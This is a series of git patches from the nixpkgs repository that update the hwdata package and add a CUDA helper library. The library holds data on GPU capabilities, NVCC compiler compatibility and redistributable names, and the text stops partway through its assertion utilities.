+        hash = "sha256-DfCfnUWpnvAOZrm6qUk6J+kGgTdjo7bHZyIXxmtD6hE=";
       };
 
 in

From f5add3e2784a8bd2b79c72781ce86ef034e08e1f Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 18 May 2025 14:41:56 +0000
Subject: [PATCH 0094/4511] hwdata: 0.393 -> 0.395

(cherry picked from commit e5080cff972d9d0681b976405e3dd1c498fa4907)
---
 pkgs/by-name/hw/hwdata/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/hw/hwdata/package.nix b/pkgs/by-name/hw/hwdata/package.nix
index 6edf714d2919..087414ee6531 100644
--- a/pkgs/by-name/hw/hwdata/package.nix
+++ b/pkgs/by-name/hw/hwdata/package.nix
@@ -6,13 +6,13 @@
 
 stdenv.mkDerivation rec {
   pname = "hwdata";
-  version = "0.393";
+  version = "0.395";
 
   src = fetchFromGitHub {
     owner = "vcrhonek";
     repo = "hwdata";
     rev = "v${version}";
-    hash = "sha256-RDp5NY9VYD0gylvzYpg9BytfRdQ6dim1jJtv32yeF3k=";
+    hash = "sha256-wLdJGaJVqClso75iRSpSVlobdx7Rv01YreiPsDzwjok=";
   };
 
   configureFlags = [ "--datadir=${placeholder "out"}/share" ];

From 155a155357dcb89eea53c4ba50601cf7684ed95d Mon Sep 17 00:00:00 2001
From: John Titor <50095635+JohnRTitor@users.noreply.github.com>
Date: Mon, 26 May 2025 20:47:57 +0530
Subject: [PATCH 0095/4511] hwdata: switch to finalAttrs, remove
 configureFlags, add johnrtitor as maintainer

https://github.com/NixOS/nixpkgs/pull/395495#pullrequestreview-2736394121

Signed-off-by: John Titor <50095635+JohnRTitor@users.noreply.github.com>
(cherry picked from commit bd281eaba1e82ca8c28eee05d4ff9c9655366d92)
---
 pkgs/by-name/hw/hwdata/package.nix | 17 +++++++++--------
 1 file changed, 9 insertions(+), 8 deletions(-)

diff --git a/pkgs/by-name/hw/hwdata/package.nix b/pkgs/by-name/hw/hwdata/package.nix
index 087414ee6531..0f3c75650d40 100644
--- a/pkgs/by-name/hw/hwdata/package.nix
+++ b/pkgs/by-name/hw/hwdata/package.nix
@@ -4,26 +4,27 @@
   fetchFromGitHub,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "hwdata";
-  version = "0.395";
+  version = "0.393";
 
   src = fetchFromGitHub {
     owner = "vcrhonek";
     repo = "hwdata";
-    rev = "v${version}";
-    hash = "sha256-wLdJGaJVqClso75iRSpSVlobdx7Rv01YreiPsDzwjok=";
+    rev = "v${finalAttrs.version}";
+    hash = "sha256-RDp5NY9VYD0gylvzYpg9BytfRdQ6dim1jJtv32yeF3k=";
   };
 
-  configureFlags = [ "--datadir=${placeholder "out"}/share" ];
-
   doCheck = false; # this does build machine-specific checks (e.g. enumerates PCI bus)
 
   meta = {
     homepage = "https://github.com/vcrhonek/hwdata";
     description = "Hardware Database, including Monitors, pci.ids, usb.ids, and video cards";
     license = lib.licenses.gpl2Plus;
-    maintainers = with lib.maintainers; [ pedrohlc ];
+    maintainers = with lib.maintainers; [
+      johnrtitor
+      pedrohlc
+    ];
     platforms = lib.platforms.all;
   };
-}
+})

From 626aa6834fcb4845f39f0b55bb7b4f8c78d9bf2f Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Sat, 10 May 2025 00:06:32 +0000
Subject: [PATCH 0096/4511] cudaPackages: add cudaNamePrefix

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit 646bebe3be8004e578842745136b8196f4f1fced)
---
 pkgs/top-level/cuda-packages.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/top-level/cuda-packages.nix b/pkgs/top-level/cuda-packages.nix
index 740efe03b346..70aaf15362f0 100644
--- a/pkgs/top-level/cuda-packages.nix
+++ b/pkgs/top-level/cuda-packages.nix
@@ -64,6 +64,9 @@ let
       nvccCompatibilities
       pkgs
       ;
+
+    cudaNamePrefix = "cuda${cudaMajorMinorVersion}";
+
     cudaMajorVersion = versions.major cudaMajorMinorVersion;
     cudaOlder = strings.versionOlder cudaMajorMinorVersion;
     cudaAtLeast = strings.versionAtLeast cudaMajorMinorVersion;

From a3d81cb05760bbbc052e5df6fd007b5a2bdd9c2c Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Sat, 10 May 2025 15:01:52 +0000
Subject: [PATCH 0097/4511] cudaPackages.driver_assistant: mark as unsupported

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit a018d736978adf55e1b8f7bf79e736cd6d042573)
---
 pkgs/development/cuda-modules/fixups/driver_assistant.nix | 5 +++++
 1 file changed, 5 insertions(+)
 create mode 100644 pkgs/development/cuda-modules/fixups/driver_assistant.nix

diff --git a/pkgs/development/cuda-modules/fixups/driver_assistant.nix b/pkgs/development/cuda-modules/fixups/driver_assistant.nix
new file mode 100644
index 000000000000..e9c50b2f4eaf
--- /dev/null
+++ b/pkgs/development/cuda-modules/fixups/driver_assistant.nix
@@ -0,0 +1,5 @@
+_: prevAttrs: {
+  badPlatformsConditions = prevAttrs.badPlatformsConditions or { } // {
+    "Package is not supported; use drivers from linuxPackages" = true;
+  };
+}

From a2368c42d5d1054907c4fc33770f1cb2dcb0bec0 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Fri, 9 May 2025 21:54:54 +0000
Subject: [PATCH 0098/4511] cudaLib: init

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit 0ac3a73b6a997ea5e05067577a17c613ecddcd7d)
---
 .../cuda-modules/lib/data/cuda.nix            | 357 +++++++++++++++++
 .../cuda-modules/lib/data/default.nix         |  32 ++
 .../cuda-modules/lib/data/nvcc.nix            | 268 +++++++++++++
 .../cuda-modules/lib/data/redist.nix          |  56 +++
 pkgs/development/cuda-modules/lib/default.nix |  13 +
 .../cuda-modules/lib/utils/assertions.nix     | 139 +++++++
 .../cuda-modules/lib/utils/cuda.nix           | 129 ++++++
 .../cuda-modules/lib/utils/default.nix        |  49 +++
 .../cuda-modules/lib/utils/meta.nix           |  71 ++++
 .../cuda-modules/lib/utils/redist.nix         | 196 +++++++++
 .../cuda-modules/lib/utils/strings.nix        | 379 ++++++++++++++++++
 .../cuda-modules/lib/utils/versions.nix       |  76 ++++
 pkgs/top-level/all-packages.nix               |   2 +
 13 files changed, 1767 insertions(+)
 create mode 100644 pkgs/development/cuda-modules/lib/data/cuda.nix
 create mode 100644 pkgs/development/cuda-modules/lib/data/default.nix
 create mode 100644 pkgs/development/cuda-modules/lib/data/nvcc.nix
 create mode 100644 pkgs/development/cuda-modules/lib/data/redist.nix
 create mode 100644 pkgs/development/cuda-modules/lib/default.nix
 create mode 100644 pkgs/development/cuda-modules/lib/utils/assertions.nix
 create mode 100644 pkgs/development/cuda-modules/lib/utils/cuda.nix
 create mode 100644 pkgs/development/cuda-modules/lib/utils/default.nix
 create mode 100644 pkgs/development/cuda-modules/lib/utils/meta.nix
 create mode 100644 pkgs/development/cuda-modules/lib/utils/redist.nix
 create mode 100644 pkgs/development/cuda-modules/lib/utils/strings.nix
 create mode 100644 pkgs/development/cuda-modules/lib/utils/versions.nix

diff --git a/pkgs/development/cuda-modules/lib/data/cuda.nix b/pkgs/development/cuda-modules/lib/data/cuda.nix
new file mode 100644
index 000000000000..0b97645c420d
--- /dev/null
+++ b/pkgs/development/cuda-modules/lib/data/cuda.nix
@@ -0,0 +1,357 @@
+{ cudaLib, lib }:
+{
+  /**
+    All CUDA capabilities, sorted by version.
+
+    NOTE: Since the capabilities are sorted by version and architecture/family-specific features are
+    appended to the minor version component, the sorted list groups capabilities by baseline feature
+    set.
+
+    # Type
+
+    ```
+    allSortedCudaCapabilities :: [CudaCapability]
+    ```
+
+    # Example
+
+    ```
+    allSortedCudaCapabilities = [
+      "5.0"
+      "5.2"
+      "6.0"
+      "6.1"
+      "7.0"
+      "7.2"
+      "7.5"
+      "8.0"
+      "8.6"
+      "8.7"
+      "8.9"
+      "9.0"
+      "9.0a"
+      "10.0"
+      "10.0a"
+      "10.0f"
+      "10.1"
+      "10.1a"
+      "10.1f"
+      "10.3"
+      "10.3a"
+      "10.3f"
+    ];
+    ```
+  */
+  allSortedCudaCapabilities = lib.sort lib.versionOlder (
+    lib.attrNames cudaLib.data.cudaCapabilityToInfo
+  );
+
+  /**
+    Mapping of CUDA micro-architecture name to capabilities belonging to that micro-architecture.
+
+    # Type
+
+    ```
+    cudaArchNameToCapabilities :: AttrSet NonEmptyStr (NonEmptyListOf CudaCapability)
+    ```
+  */
+  cudaArchNameToCapabilities = lib.groupBy (
+    cudaCapability: cudaLib.data.cudaCapabilityToInfo.${cudaCapability}.archName
+  ) cudaLib.data.allSortedCudaCapabilities;
+
+  /**
+    Attribute set of supported CUDA capability mapped to information about that capability.
+
+    NOTE: For more on baseline, architecture-specific, and family-specific feature sets, see
+    https://developer.nvidia.com/blog/nvidia-blackwell-and-nvidia-cuda-12-9-introduce-family-specific-architecture-features.
+
+    NOTE: For information on when support for a given architecture was added, see
+    https://docs.nvidia.com/cuda/parallel-thread-execution/#release-notes
+
+    NOTE: For baseline feature sets, `dontDefaultAfterCudaMajorMinorVersion` is generally set to the CUDA release
+    immediately prior to TensorRT removing support for that architecture.
+
+    Many thanks to Arnon Shimoni for maintaining a list of these architectures and capabilities.
+    Without your work, this would have been much more difficult.
+    https://arnon.dk/matching-sm-architectures-arch-and-gencode-for-various-nvidia-cards/
+
+    # Type
+
+    ```
+    cudaCapabilityToInfo ::
+      AttrSet
+        CudaCapability
+        { archName :: String
+        , cudaCapability :: CudaCapability
+        , isJetson :: Bool
+        , isArchitectureSpecific :: Bool
+        , isFamilySpecific :: Bool
+        , minCudaMajorMinorVersion :: MajorMinorVersion
+        , maxCudaMajorMinorVersion :: MajorMinorVersion
+        , dontDefaultAfterCudaMajorMinorVersion :: Null | MajorMinorVersion
+        }
+    ```
+
+    `archName`
+
+    : The name of the microarchitecture
+
+    `cudaCapability`
+
+    : The CUDA capability
+
+    `isJetson`
+
+    : Whether this capability is part of NVIDIA's line of Jetson embedded computers. This field is notable
+      because it tells us what architecture to build for (as Jetson devices are aarch64).
+      More on Jetson devices here: https://www.nvidia.com/en-us/autonomous-machines/embedded-systems/
+      NOTE: These architectures are only built upon request.
+
+    `isArchitectureSpecific`
+
+    : Whether this capability is an architecture-specific feature set.
+      NOTE: These architectures are only built upon request.
+
+    `isFamilySpecific`
+
+    : Whether this capability is a family-specific feature set.
+      NOTE: These architectures are only built upon request.
+
+    `minCudaMajorMinorVersion`
+
+    : The minimum (inclusive) CUDA version that supports this capability.
+
+    `maxCudaMajorMinorVersion`
+
+    : The maximum (exclusive) CUDA version that supports this capability.
+      `null` means there is no maximum.
+
+    `dontDefaultAfterCudaMajorMinorVersion`
+
+    : The CUDA version after which to exclude this capability from the list of default capabilities we build.
+  */
+  cudaCapabilityToInfo =
+    lib.mapAttrs
+      (
+        cudaCapability:
+        # Supplies default values.
+        {
+          archName,
+          isJetson ? false,
+          isArchitectureSpecific ? (lib.hasSuffix "a" cudaCapability),
+          isFamilySpecific ? (lib.hasSuffix "f" cudaCapability),
+          minCudaMajorMinorVersion,
+          maxCudaMajorMinorVersion ? null,
+          dontDefaultAfterCudaMajorMinorVersion ? null,
+        }:
+        {
+          inherit
+            archName
+            cudaCapability
+            isJetson
+            isArchitectureSpecific
+            isFamilySpecific
+            minCudaMajorMinorVersion
+            maxCudaMajorMinorVersion
+            dontDefaultAfterCudaMajorMinorVersion
+            ;
+        }
+      )
+      {
+        # Tesla K40
+        "3.5" = {
+          archName = "Kepler";
+          minCudaMajorMinorVersion = "10.0";
+          dontDefaultAfterCudaMajorMinorVersion = "11.0";
+          maxCudaMajorMinorVersion = "11.8";
+        };
+
+        # Tesla K80
+        "3.7" = {
+          archName = "Kepler";
+          minCudaMajorMinorVersion = "10.0";
+          dontDefaultAfterCudaMajorMinorVersion = "11.0";
+          maxCudaMajorMinorVersion = "11.8";
+        };
+
+        # Tesla/Quadro M series
+        "5.0" = {
+          archName = "Maxwell";
+          minCudaMajorMinorVersion = "10.0";
+          dontDefaultAfterCudaMajorMinorVersion = "11.0";
+        };
+
+        # Quadro M6000 , GeForce 900, GTX-970, GTX-980, GTX Titan X
+        "5.2" = {
+          archName = "Maxwell";
+          minCudaMajorMinorVersion = "10.0";
+          dontDefaultAfterCudaMajorMinorVersion = "11.0";
+        };
+
+        # Quadro GP100, Tesla P100, DGX-1 (Generic Pascal)
+        "6.0" = {
+          archName = "Pascal";
+          minCudaMajorMinorVersion = "10.0";
+          # Removed from TensorRT 10.0, which corresponds to CUDA 12.4 release.
+          # https://docs.nvidia.com/deeplearning/tensorrt/archives/tensorrt-1001/support-matrix/index.html
+          dontDefaultAfterCudaMajorMinorVersion = "12.3";
+        };
+
+        # GTX 1080, GTX 1070, GTX 1060, GTX 1050, GTX 1030 (GP108), GT 1010 (GP108) Titan Xp, Tesla
+        # P40, Tesla P4, Discrete GPU on the NVIDIA Drive PX2
+        "6.1" = {
+          archName = "Pascal";
+          minCudaMajorMinorVersion = "10.0";
+          # Removed from TensorRT 10.0, which corresponds to CUDA 12.4 release.
+          # https://docs.nvidia.com/deeplearning/tensorrt/archives/tensorrt-1001/support-matrix/index.html
+          dontDefaultAfterCudaMajorMinorVersion = "12.3";
+        };
+
+        # DGX-1 with Volta, Tesla V100, GTX 1180 (GV104), Titan V, Quadro GV100
+        "7.0" = {
+          archName = "Volta";
+          minCudaMajorMinorVersion = "10.0";
+          # Removed from TensorRT 10.5, which corresponds to CUDA 12.6 release.
+          # https://docs.nvidia.com/deeplearning/tensorrt/archives/tensorrt-1050/support-matrix/index.html
+          dontDefaultAfterCudaMajorMinorVersion = "12.5";
+        };
+
+        # Jetson AGX Xavier, Drive AGX Pegasus, Xavier NX
+        "7.2" = {
+          archName = "Volta";
+          minCudaMajorMinorVersion = "10.0";
+          # Note: without `cuda_compat`, maxCudaMajorMinorVersion is 11.8
+          # https://docs.nvidia.com/cuda/cuda-for-tegra-appnote/index.html#deployment-considerations-for-cuda-upgrade-package
+          maxCudaMajorMinorVersion = "12.2";
+          isJetson = true;
+        };
+
+        # GTX/RTX Turing – GTX 1660 Ti, RTX 2060, RTX 2070, RTX 2080, Titan RTX, Quadro RTX 4000,
+        # Quadro RTX 5000, Quadro RTX 6000, Quadro RTX 8000, Quadro T1000/T2000, Tesla T4
+        "7.5" = {
+          archName = "Turing";
+          minCudaMajorMinorVersion = "10.0";
+        };
+
+        # NVIDIA A100 (the name “Tesla” has been dropped – GA100), NVIDIA DGX-A100
+        "8.0" = {
+          archName = "Ampere";
+          minCudaMajorMinorVersion = "11.2";
+        };
+
+        # Tesla GA10x cards, RTX Ampere – RTX 3080, GA102 – RTX 3090, RTX A2000, A3000, RTX A4000,
+        # A5000, A6000, NVIDIA A40, GA106 – RTX 3060, GA104 – RTX 3070, GA107 – RTX 3050, RTX A10, RTX
+        # A16, RTX A40, A2 Tensor Core GPU
+        "8.6" = {
+          archName = "Ampere";
+          minCudaMajorMinorVersion = "11.2";
+        };
+
+        # Jetson AGX Orin and Drive AGX Orin only
+        "8.7" = {
+          archName = "Ampere";
+          minCudaMajorMinorVersion = "11.5";
+          isJetson = true;
+        };
+
+        # NVIDIA GeForce RTX 4090, RTX 4080, RTX 6000, Tesla L40
+        "8.9" = {
+          archName = "Ada";
+          minCudaMajorMinorVersion = "11.8";
+        };
+
+        # NVIDIA H100 (GH100)
+        "9.0" = {
+          archName = "Hopper";
+          minCudaMajorMinorVersion = "11.8";
+        };
+
+        "9.0a" = {
+          archName = "Hopper";
+          minCudaMajorMinorVersion = "12.0";
+        };
+
+        # NVIDIA B100
+        "10.0" = {
+          archName = "Blackwell";
+          minCudaMajorMinorVersion = "12.7";
+        };
+
+        "10.0a" = {
+          archName = "Blackwell";
+          minCudaMajorMinorVersion = "12.7";
+        };
+
+        "10.0f" = {
+          archName = "Blackwell";
+          minCudaMajorMinorVersion = "12.9";
+        };
+
+        # NVIDIA Jetson Thor Blackwell
+        "10.1" = {
+          archName = "Blackwell";
+          minCudaMajorMinorVersion = "12.7";
+          isJetson = true;
+        };
+
+        "10.1a" = {
+          archName = "Blackwell";
+          minCudaMajorMinorVersion = "12.7";
+          isJetson = true;
+        };
+
+        "10.1f" = {
+          archName = "Blackwell";
+          minCudaMajorMinorVersion = "12.9";
+          isJetson = true;
+        };
+
+        # NVIDIA ???
+        "10.3" = {
+          archName = "Blackwell";
+          minCudaMajorMinorVersion = "12.9";
+        };
+
+        "10.3a" = {
+          archName = "Blackwell";
+          minCudaMajorMinorVersion = "12.9";
+        };
+
+        "10.3f" = {
+          archName = "Blackwell";
+          minCudaMajorMinorVersion = "12.9";
+        };
+
+        # NVIDIA GeForce RTX 5090 (GB202) etc.
+        "12.0" = {
+          archName = "Blackwell";
+          minCudaMajorMinorVersion = "12.8";
+        };
+
+        "12.0a" = {
+          archName = "Blackwell";
+          minCudaMajorMinorVersion = "12.8";
+        };
+
+        "12.0f" = {
+          archName = "Blackwell";
+          minCudaMajorMinorVersion = "12.9";
+        };
+
+        # NVIDIA ???
+        "12.1" = {
+          archName = "Blackwell";
+          minCudaMajorMinorVersion = "12.9";
+        };
+
+        "12.1a" = {
+          archName = "Blackwell";
+          minCudaMajorMinorVersion = "12.9";
+        };
+
+        "12.1f" = {
+          archName = "Blackwell";
+          minCudaMajorMinorVersion = "12.9";
+        };
+      };
+}
diff --git a/pkgs/development/cuda-modules/lib/data/default.nix b/pkgs/development/cuda-modules/lib/data/default.nix
new file mode 100644
index 000000000000..60924cbb4f9e
--- /dev/null
+++ b/pkgs/development/cuda-modules/lib/data/default.nix
@@ -0,0 +1,32 @@
+{ cudaLib, lib }:
+{
+  # See ./cuda.nix for documentation.
+  inherit (import ./cuda.nix { inherit cudaLib lib; })
+    allSortedCudaCapabilities
+    cudaArchNameToCapabilities
+    cudaCapabilityToInfo
+    ;
+
+  # See ./nvcc.nix for documentation.
+  inherit (import ./nvcc.nix)
+    nvccCompatibilities
+    ;
+
+  # See ./redist.nix for documentation.
+  inherit (import ./redist.nix)
+    redistNames
+    redistSystems
+    redistUrlPrefix
+    ;
+
+  /**
+    The path to the CUDA packages root directory, for use with `callPackage` to create new package sets.
+
+    # Type
+
+    ```
+    cudaPackagesPath :: Path
+    ```
+  */
+  cudaPackagesPath = ./..;
+}
diff --git a/pkgs/development/cuda-modules/lib/data/nvcc.nix b/pkgs/development/cuda-modules/lib/data/nvcc.nix
new file mode 100644
index 000000000000..535f64b40991
--- /dev/null
+++ b/pkgs/development/cuda-modules/lib/data/nvcc.nix
@@ -0,0 +1,268 @@
+{
+  /**
+      Mapping of CUDA versions to NVCC compatibilities
+
+      Taken from
+      https://docs.nvidia.com/cuda/cuda-installation-guide-linux/index.html#host-compiler-support-policy
+
+        NVCC performs a version check on the host compiler's major version and so newer minor versions
+        of the compilers listed below will be supported, but major versions falling outside the range
+        will not be supported.
+
+      NOTE: These constraints don't apply to Jetson, which uses something else.
+
+      NOTE: NVIDIA can and will add support for newer compilers even during patch releases.
+      E.g.: CUDA 12.2.1 maxxed out with support for Clang 15.0; 12.2.2 added support for Clang 16.0.
+
+      NOTE: Because all platforms NVIDIA supports use GCC and Clang, we omit the architectures here.
+
+      # Type
+
+      ```
+      nvccCompatibilities ::
+        AttrSet
+          String
+          { clang :: { maxMajorVersion :: String, minMajorVersion :: String }
+          , gcc :: { maxMajorVersion :: String, minMajorVersion :: String }
+          }
+      ```
+  */
+  nvccCompatibilities = {
+    # Our baseline
+    # https://docs.nvidia.com/cuda/archive/11.0/cuda-toolkit-release-notes/index.html#cuda-compiler-new-features
+    "11.0" = {
+      clang = {
+        maxMajorVersion = "9";
+        minMajorVersion = "7";
+      };
+      gcc = {
+        maxMajorVersion = "9";
+        minMajorVersion = "6";
+      };
+    };
+
+    # Added support for Clang 10 and GCC 10
+    # https://docs.nvidia.com/cuda/archive/11.1.1/cuda-toolkit-release-notes/index.html#cuda-compiler-new-features
+    "11.1" = {
+      clang = {
+        maxMajorVersion = "10";
+        minMajorVersion = "7";
+      };
+      gcc = {
+        maxMajorVersion = "10";
+        minMajorVersion = "6";
+      };
+    };
+
+    # Added support for Clang 11
+    # https://docs.nvidia.com/cuda/archive/11.2.2/cuda-installation-guide-linux/index.html#system-requirements
+    "11.2" = {
+      clang = {
+        maxMajorVersion = "11";
+        minMajorVersion = "7";
+      };
+      gcc = {
+        maxMajorVersion = "10";
+        minMajorVersion = "6";
+      };
+    };
+
+    # No changes from 11.2 to 11.3
+    "11.3" = {
+      clang = {
+        maxMajorVersion = "11";
+        minMajorVersion = "7";
+      };
+      gcc = {
+        maxMajorVersion = "10";
+        minMajorVersion = "6";
+      };
+    };
+
+    # Added support for Clang 12 and GCC 11
+    # https://docs.nvidia.com/cuda/archive/11.4.4/cuda-toolkit-release-notes/index.html#cuda-general-new-features
+    # NOTE: There is a bug in the version of GLIBC that GCC 11 uses which causes it to fail to compile some CUDA
+    # code. As such, we skip it for this release, and do the bump in 11.6 (skipping 11.5).
+    # https://forums.developer.nvidia.com/t/cuda-11-5-samples-throw-multiple-error-attribute-malloc-does-not-take-arguments/192750/15
+    "11.4" = {
+      clang = {
+        maxMajorVersion = "12";
+        minMajorVersion = "7";
+      };
+      gcc = {
+        maxMajorVersion = "10";
+        minMajorVersion = "6";
+      };
+    };
+
+    # No changes from 11.4 to 11.5
+    "11.5" = {
+      clang = {
+        maxMajorVersion = "12";
+        minMajorVersion = "7";
+      };
+      gcc = {
+        maxMajorVersion = "10";
+        minMajorVersion = "6";
+      };
+    };
+
+    # No changes from 11.5 to 11.6
+    # However, as mentioned above, we add GCC 11 this release.
+    "11.6" = {
+      clang = {
+        maxMajorVersion = "12";
+        minMajorVersion = "7";
+      };
+      gcc = {
+        maxMajorVersion = "11";
+        minMajorVersion = "6";
+      };
+    };
+
+    # Added support for Clang 13
+    # https://docs.nvidia.com/cuda/archive/11.7.1/cuda-toolkit-release-notes/index.html#cuda-compiler-new-features
+    "11.7" = {
+      clang = {
+        maxMajorVersion = "13";
+        minMajorVersion = "7";
+      };
+      gcc = {
+        maxMajorVersion = "11";
+        minMajorVersion = "6";
+      };
+    };
+
+    # Added support for Clang 14
+    # https://docs.nvidia.com/cuda/archive/11.8.0/cuda-installation-guide-linux/index.html#system-requirements
+    "11.8" = {
+      clang = {
+        maxMajorVersion = "14";
+        minMajorVersion = "7";
+      };
+      gcc = {
+        maxMajorVersion = "11";
+        minMajorVersion = "6";
+      };
+    };
+
+    # Added support for GCC 12
+    # https://docs.nvidia.com/cuda/archive/12.0.1/cuda-installation-guide-linux/index.html#system-requirements
+    "12.0" = {
+      clang = {
+        maxMajorVersion = "14";
+        minMajorVersion = "7";
+      };
+      gcc = {
+        maxMajorVersion = "12";
+        minMajorVersion = "6";
+      };
+    };
+
+    # Added support for Clang 15
+    # https://docs.nvidia.com/cuda/archive/12.1.1/cuda-toolkit-release-notes/index.html#cuda-compilers-new-features
+    "12.1" = {
+      clang = {
+        maxMajorVersion = "15";
+        minMajorVersion = "7";
+      };
+      gcc = {
+        maxMajorVersion = "12";
+        minMajorVersion = "6";
+      };
+    };
+
+    # Added support for Clang 16
+    # https://docs.nvidia.com/cuda/archive/12.2.2/cuda-installation-guide-linux/index.html#host-compiler-support-policy
+    "12.2" = {
+      clang = {
+        maxMajorVersion = "16";
+        minMajorVersion = "7";
+      };
+      gcc = {
+        maxMajorVersion = "12";
+        minMajorVersion = "6";
+      };
+    };
+
+    # No changes from 12.2 to 12.3
+    # https://docs.nvidia.com/cuda/archive/12.3.2/cuda-installation-guide-linux/index.html#host-compiler-support-policy
+    "12.3" = {
+      clang = {
+        maxMajorVersion = "16";
+        minMajorVersion = "7";
+      };
+      gcc = {
+        maxMajorVersion = "12";
+        minMajorVersion = "6";
+      };
+    };
+
+    # Maximum Clang version is 17
+    # Minimum GCC version is still 6, but all versions prior to GCC 7.3 are deprecated.
+    # Maximum GCC version is 13.2
+    # https://docs.nvidia.com/cuda/archive/12.4.1/cuda-installation-guide-linux/index.html#host-compiler-support-policy
+    "12.4" = {
+      clang = {
+        maxMajorVersion = "17";
+        minMajorVersion = "7";
+      };
+      gcc = {
+        maxMajorVersion = "13";
+        minMajorVersion = "6";
+      };
+    };
+
+    # No changes from 12.4 to 12.5
+    # https://docs.nvidia.com/cuda/archive/12.5.1/cuda-installation-guide-linux/index.html#host-compiler-support-policy
+    "12.5" = {
+      clang = {
+        maxMajorVersion = "17";
+        minMajorVersion = "7";
+      };
+      gcc = {
+        maxMajorVersion = "13";
+        minMajorVersion = "6";
+      };
+    };
+
+    # Maximum Clang version is 18
+    # https://docs.nvidia.com/cuda/archive/12.6.0/cuda-installation-guide-linux/index.html#host-compiler-support-policy
+    "12.6" = {
+      clang = {
+        maxMajorVersion = "18";
+        minMajorVersion = "7";
+      };
+      gcc = {
+        maxMajorVersion = "13";
+        minMajorVersion = "6";
+      };
+    };
+
+    # Maximum Clang version is 19, maximum GCC version is 14
+    # https://docs.nvidia.com/cuda/archive/12.8.1/cuda-installation-guide-linux/index.html#host-compiler-support-policy
+    "12.8" = {
+      clang = {
+        maxMajorVersion = "19";
+        minMajorVersion = "7";
+      };
+      gcc = {
+        maxMajorVersion = "14";
+        minMajorVersion = "6";
+      };
+    };
+
+    # No changes from 12.8 to 12.9
+    # https://docs.nvidia.com/cuda/cuda-installation-guide-linux/index.html#host-compiler-support-policy
+    "12.9" = {
+      clang = {
+        maxMajorVersion = "19";
+        minMajorVersion = "7";
+      };
+      gcc = {
+        maxMajorVersion = "14";
+        minMajorVersion = "6";
+      };
+    };
+  };
+}
diff --git a/pkgs/development/cuda-modules/lib/data/redist.nix b/pkgs/development/cuda-modules/lib/data/redist.nix
new file mode 100644
index 000000000000..52e91f81c35c
--- /dev/null
+++ b/pkgs/development/cuda-modules/lib/data/redist.nix
@@ -0,0 +1,56 @@
+{
+  /**
+    A list of redistributable names to use in creation of the `redistName` option type.
+
+    # Type
+
+    ```
+    redistNames :: [String]
+    ```
+  */
+  redistNames = [
+    "cublasmp"
+    "cuda"
+    "cudnn"
+    "cudss"
+    "cuquantum"
+    "cusolvermp"
+    "cusparselt"
+    "cutensor"
+    "nppplus"
+    "nvcomp"
+    # "nvidia-driver",  # NOTE: Some of the earlier manifests don't follow our scheme.
+    "nvjpeg2000"
+    "nvpl"
+    "nvtiff"
+    "tensorrt" # NOTE: not truly a redist; uses different naming convention
+  ];
+
+  /**
+    A list of redistributable systems to use in creation of the `redistSystem` option type.
+
+    # Type
+
+    ```
+    redistSystems :: [String]
+    ```
+  */
+  redistSystems = [
+    "linux-aarch64"
+    "linux-all" # Taken to mean all other linux systems
+    "linux-sbsa"
+    "linux-x86_64"
+    "source" # Source-agnostic platform
+  ];
+
+  /**
+    The prefix of the URL for redistributable files.
+
+    # Type
+
+    ```
+    redistUrlPrefix :: String
+    ```
+  */
+  redistUrlPrefix = "https://developer.download.nvidia.com/compute";
+}
diff --git a/pkgs/development/cuda-modules/lib/default.nix b/pkgs/development/cuda-modules/lib/default.nix
new file mode 100644
index 000000000000..6918d9ca5053
--- /dev/null
+++ b/pkgs/development/cuda-modules/lib/default.nix
@@ -0,0 +1,13 @@
+let
+  lib = import ../../../../lib;
+in
+lib.fixedPoints.makeExtensible (final: {
+  data = import ./data {
+    inherit lib;
+    cudaLib = final;
+  };
+  utils = import ./utils {
+    inherit lib;
+    cudaLib = final;
+  };
+})
diff --git a/pkgs/development/cuda-modules/lib/utils/assertions.nix b/pkgs/development/cuda-modules/lib/utils/assertions.nix
new file mode 100644
index 000000000000..5fc940889b7f
--- /dev/null
+++ b/pkgs/development/cuda-modules/lib/utils/assertions.nix
@@ -0,0 +1,139 @@
+{ cudaLib, lib }:
+{
+  /**
+    Evaluate assertions and add error context to return value.
+
+    NOTE: No guarantees are made about this function's stability. You may use it at your own risk.
+
+    # Type
+
+    ```
+    _evaluateAssertions
+      :: (assertions :: List { assertion :: Bool, message :: String })
+      -> Bool
+    ```
+  */
+  _evaluateAssertions =
+    assertions:
+    let
+      failedAssertionsString = cudaLib.utils._mkFailedAssertionsString assertions;
+    in
+    if failedAssertionsString == "" then
+      true
+    else
+      lib.addErrorContext "with failed assertions:${failedAssertionsString}" false;
+
+  /**
+    Function to generate a string of failed assertions.
+
+    NOTE: No guarantees are made about this function's stability. You may use it at your own risk.
+
+    # Type
+
+    ```
+    _mkFailedAssertionsString
+      :: (assertions :: List { assertion :: Bool, message :: String })
+      -> String
+    ```
+
+    # Inputs
+
+    `assertions`
+
+    : A list of assertions to evaluate
+
+    # Examples
+
+    :::{.example}
+    ## `cudaLib.utils._mkFailedAssertionsString` usage examples
+
+    ```nix
+    _mkFailedAssertionsString [
+      { assertion = false; message = "Assertion 1 failed"; }
+      { assertion = true; message = "Assertion 2 failed"; }
+    ]
+    => "\n- Assertion 1 failed"
+    ```
+
+    ```nix
+    _mkFailedAssertionsString [
+      { assertion = false; message = "Assertion 1 failed"; }
+      { assertion = false; message = "Assertion 2 failed"; }
+    ]
+    => "\n- Assertion 1 failed\n- Assertion 2 failed"
+    ```
+    :::
+  */
+  _mkFailedAssertionsString = lib.foldl' (
+    failedAssertionsString:
+    { assertion, message }:
+    failedAssertionsString + lib.optionalString (!assertion) ("\n- " + message)
+  ) "";
+
+  /**
+    Utility function to generate assertions for missing packages.
+
+    Used to mark a package as unsupported if any of its required packages are missing (null).
+
+    Expects a set of attributes.
+
